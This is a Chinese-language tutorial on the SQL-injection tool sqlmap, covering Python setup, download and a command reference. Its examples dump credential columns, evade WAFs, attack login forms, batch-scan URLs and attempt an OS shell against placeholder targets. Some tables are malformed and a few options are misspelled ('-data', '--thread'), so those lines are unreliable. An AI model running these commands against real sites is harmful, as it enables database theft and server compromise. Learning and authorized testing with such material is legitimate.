SQLmap 完整使用指南:环境搭建 + 命令详解 + 实操案例
一、前言
sqlmap 是一款开源的 SQL 注入测试工具,支持 MySQL、Oracle、SQL Server 等主流数据库,可自动探测并利用 SQL 注入漏洞,实现数据库信息获取、数据导出甚至服务器权限控制。本指南针对新手设计,从环境搭建到命令实操逐步讲解,确保零基础用户也能快速上手。
二、环境准备:Python 安装与配置
sqlmap 基于 Python 开发,需先搭建 Python 运行环境(推荐 Python 3.6~3.12 版本,Python 2.x 已停止维护,3.13+ 可能存在兼容性问题)
2.1 下载 Python
- 访问 Python 官方下载页:https://www.python.org/downloads/ (选择 “Stable
Releases” 下的稳定版,格式为「Python 3.x.x」,如 3.12.4) 64 位系统:下载「Windows x86-64
executable installer」 32 位系统:下载「Windows x86 executable installer」
注意:避免下载无效版本(如原链接中 “python-3137” 为错误格式,正确版本号含小数点,如 3.12.4)。 安装
Python(关键步骤): 双击安装包,务必勾选「Add Python.exe to PATH」(自动配置环境变量,避免后续手动操作);
选择安装方式: 新手推荐「Install Now」默认安装(路径通常为 C:\Python312); 进阶用户可选「Customize
Installation」,自定义安装到非系统盘(如 D:\Python312,需记住路径)。 - 验证 Python 环境 打开命令提示符(CMD):按下 Win + R,输入 cmd 回车; 执行版本验证命令(出现以下结果即成功):
py -V # 或 python -V(若 py 命令无效,替换为 python)
成功示例:Python 3.12.4
失败处理:若提示 “不是内部或外部命令”,需手动配置环境变量(见 2.3 节)。
- 手动配置环境变量(仅安装时未勾选 PATH 需操作)
右键「此电脑」→「属性」→「高级系统设置」→「环境变量」;
在「系统变量」中找到「Path」→ 双击编辑;
点击「新建」,分别添加以下 2 个路径(需替换为你的 Python 安装路径):
Python 主程序路径:D:\Python312
脚本路径(pip 等工具):D:\Python312\Scripts
点击「确定」保存,关闭所有 CMD 窗口后重新打开,执行 py -V 验证。
三、sqlmap 下载与目录配置
提供两种下载方式,新手推荐「官网直接下载」,进阶用户可选择「Git 克隆」获取最新版。
- 方式 1:官网直接下载(推荐新手)
访问 sqlmap 官网:https://sqlmap.org/
点击右上角「Download」,下载最新压缩包(格式为 .zip);
解压到指定目录:
新建无中文 / 无空格的文件夹(如 D:\Tools\sqlmap);
右键压缩包 →「解压到当前文件夹」,确保解压后目录包含 sqlmap.py(核心执行文件)。 - 方式 2:Git 克隆下载(需先装 Git)
安装 Git:访问 https://git-scm.com/download/win,下载后默认安装;
打开 CMD,切换到目标目录(如 D:\Tools):
cd /d D:\Tools # /d 用于跨盘符切换(如从 C 盘到 D 盘)
执行克隆命令,自动下载最新版 sqlmap:
git clone https://github.com/sqlmapproject/sqlmap.git
克隆完成后,生成 D:\Tools\sqlmap 目录,包含所有核心文件。
拉倒最后下载对应版本 安装完 配置环境变量
五、sqlmap 核心命令详解(分类整理)
按「基础探测→数据导出→优化绕过→高级功能→辅助调试」分类,每个命令含「格式 + 作用 +示例」,示例基于目标 URL http://127.0.0.1?name=1 编写。
| --dbs
| 枚举目标服务器上的所有数据库名称 | ```bash
python sqlmap.py -u “http://xx/?id=1” --dbs
| `--current-db` | 查看当前请求所连接的**默认数据库** | ```bash
python sqlmap.py -u "http://xx/?id=1" --current-db
```|
| `-r 本地请求文件.txt` | 加载本地保存的 HTTP 请求包(适用于 POST 注入、带 Cookie/Token 的场景,需先抓包保存为 TXT) | ```bash
# request.txt 为抓包后保存的 HTTP 请求内容
python sqlmap.py -r request.txt --dbs
```|
| `-d "数据库连接串"` | 直接连接数据库(无需通过 Web 注入,需知道数据库账号密码) | ```bash
# 格式:dbms://用户名:密码@IP:端口/数据库名(以 MySQL 为例)
python sqlmap.py -d "mysql://root:123456@127.0.0.1:3306/test"
```|## 5.2 数据导出:表、列、内容提取
在确定数据库和表结构后,用于提取核心数据(如用户账号、密码),是注入测试的核心目标。| 命令格式 | 作用 | 实操示例 |
|----------|------|----------|
| `-D 数据库名 --tables` | 枚举指定数据库下的**所有表名称** | ```bash
# 枚举 security 数据库的所有表
python sqlmap.py -u "http://xx/?id=1" -D security --tables
```|
| `-D 数据库名 -T 表名 --columns` | 枚举指定表下的**所有列名称**(需先通过 `--tables` 确认表名) | ```bash
# 枚举 security 库中 users 表的所有列
python sqlmap.py -u "http://xx/?id=1" -D security -T users --columns
```|
| `-D 库名 -T 表名 -C 列名1,列名2 --dump` | 导出指定列的**所有数据**(多列用英文逗号分隔,支持模糊匹配) | ```bash
# 导出 security.users 表中 id、username、password 列的数据
python sqlmap.py -u "http://xx?id=1" -D security -T users -C id,username,password --dump
```|
| `--dump-all` | 导出**所有数据库的所有表数据**(谨慎使用!数据量大时耗时久,易触发防护) | ```bash
python sqlmap.py -u "http://xx/?id=1" --dump-all
```|
| `-D 库名 -T 表名 --dump --start 1 --stop 10` | 导出指定表的**部分数据**(`--start` 起始行,`--stop` 结束行,适用于大表) | ```bash
# 导出 security.users 表的第 1~10 行数据
python sqlmap.py -u "http://xx/?id=1" -D security -T users --dump --start 1 --stop 10
```|## 5.3 优化绕过:提高注入成功率(应对 WAF/过滤)
针对目标存在 WAF(Web 应用防火墙)或参数过滤的场景,通过脚本、请求调整绕过防护,减少 403/500 错误。| 命令格式 | 作用 | 实操示例 |
|----------|------|----------|
| `--batch` | 自动选择默认选项(如“是否继续测试”“是否保存配置”),无需手动交互 | ```bash
# 自动枚举 security 库的表,无需手动确认
python sqlmap.py -u "http://xx/?id=1" -D security --tables --batch
```|
| `--tamper 脚本名1,脚本名2` | 调用内置脚本对 Payload 编码/变形(绕过空格过滤、关键字拦截等,常用脚本见备注) | ```bash
# 用 space2comment(注释替换空格)+ unionalltounion(简化 UNION ALL)绕过过滤
python sqlmap.py -u "http://xx/?id=1" --tamper space2comment,unionalltounion
```|
| `--delay N` | 设置请求间隔为 N 秒(避免请求频率过高触发 WAF 频率限制,N 建议 1~3) | ```bash
# 每 1 秒发送 1 次请求,降低被封 IP 风险
python sqlmap.py -u "http://xx/?id=1" --dbs --delay 1
```|
| `--random-agent` | 随机生成浏览器 User-Agent 头(绕过基于 User-Agent 的过滤规则) | ```bash
python sqlmap.py -u "http://xx/?id=1" --dbs --random-agent
```|
| `-p 参数名` | 强制指定注入参数(避免 sqlmap 误判其他无关参数,集中测试核心参数) | ```bash
# 强制测试 URL 中的 name 参数,忽略其他可能的参数
python sqlmap.py -u "http://xx?id=1" -p name --dbs
```|> 常用 `--tamper` 脚本说明:
> - `space2comment`:用 `/*!*/` 替换空格(绕过空格过滤)
> - `unionalltounion`:将 `UNION ALL SELECT` 简化为 `UNION SELECT`(绕过关键字拦截)
> - `charencode`:对 Payload 进行 ASCII 编码(绕过特殊字符过滤)## 5.4 高级功能:POST 注入、多线程、权限控制
针对复杂场景(如 POST 表单、批量测试)或深度渗透(如获取服务器 Shell),提供进阶能力。| 命令格式 | 作用 | 实操示例 |
|----------|------|----------|
| `--forms` | 自动检测页面表单(如登录框),尝试 POST 注入(无需手动构造 POST 数据) | ```bash
# 自动测试登录页表单的注入点
python sqlmap.py -u "http://xx/login.php" --forms
```|
| `-data "POST参数=值&参数2=值2"` | 手动指定 POST 数据(适用于已知表单参数的场景,模拟表单提交) | ```bash
# 模拟登录表单提交,测试 username/password 参数的注入点
python sqlmap.py -u "http://xx/login.php" -data "username=admin&password=123"
```|
| `--thread N` | 多线程加速探测(N 最大为 10,线程过多易被封 IP 或触发防护) | ```bash
# 5 线程枚举 security 库的表,提高效率
python sqlmap.py -u "http://xx/?id=1" -D security --tables --thread 5
```|
| `--os-shell` | 尝试获取目标服务器的**系统 Shell**(需数据库高权限,成功率较低,仅作参考) | ```bash
python sqlmap.py -u "http://xx/?id=1" --os-shell
```|
| `-m 目标URL列表.txt` | 批量测试多个 URL(TXT 文件中每行一个含参数的 URL,适用于批量扫描) | ```bash
# urls.txt 中每行一个 URL(如 http://xx/?id=1)
python sqlmap.py -m urls.txt --dbs
```|## 5.5 辅助调试:日志查看与环境检测
用于排查注入失败原因(如 WAF 类型、Payload 有效性)或优化测试策略,减少无效操作。| 命令格式 | 作用 | 实操示例 |
|----------|------|----------|
| `-v N` | 设置日志回显等级(0~6,等级越高信息越详细,默认 3) | ```bash
# 显示详细日志(等级 3),用于排查注入失败原因
python sqlmap.py -u "http://xx/?id=1" --dbs -v 3
```|
| `--identify-waf` | 检测目标是否部署 WAF 及 WAF 类型(如 Cloudflare、阿里云 WAF) | ```bash
# 确认目标 WAF 类型,针对性选择绕过策略
python sqlmap.py -u "http://xx/?id=1" --identify-waf
```|
| `--smart` | 启发式快速探测(跳过明显无效的测试,如不存在的参数、无注入特征的 URL) | ```bash
# 快速判断注入点,节省测试时间
python sqlmap.py -u "http://xx/?id=1" --smart --dbs
```|
| `--skip-urlencode` | 不对 URL 参数进行编码(适用于目标服务器不解析 URL 编码的场景) | ```bash
python sqlmap.py -u "http://xx/?id=1" --dbs --skip-urlencode
```|
| `--level N` | 设置注入探测等级(1~5,等级越高检测越全面,POST 注入需至少 `--level 2`) | ```bash
# 等级 3 探测,包含 Cookie、User-Agent 等参数的测试
python sqlmap.py -u "http://xx/?id=1" --dbs --level 3
-u 指定目标URL (可以是http协议也可以是https协议)-d 连接数据库--dbs 列出所有的数据库--current-db 列出当前数据库--tables 列出当前的表--columns 列出当前的列-D 选择使用哪个数据库-T 选择使用哪个表-C 选择使用哪个列--dump 获取字段中的数据--batch 自动选择yes--smart 启发式快速判断,节约浪费时间--forms 尝试使用post注入-r 加载文件中的HTTP请求(本地保存的请求包txt文件)-l 加载文件中的HTTP请求(本地保存的请求包日志文件)-g 自动获取Google搜索的前一百个结果,对有GET参数的URL测试-o 开启所有默认性能优化--tamper 调用脚本进行注入-v 指定sqlmap的回显等级--delay 设置多久访问一次--os-shell 获取主机shell,一般不太好用,因为没权限-m 批量操作-c 指定配置文件,会按照该配置文件执行动作-data data指定的数据会当做post数据提交-timeout 设定超时时间--level 设置注入探测等级--risk 风险等级--identify-waf 检测防火墙类型--param-del="分割符" 设置参数的分割符--skip-urlencode 不进行url编码--keep-alive 设置持久连接,加快探测速度--null-connection 检索没有body响应的内容,多用于盲注--thread 最大为10 设置多线程
本教程仅供学习使用,切勿违法乱纪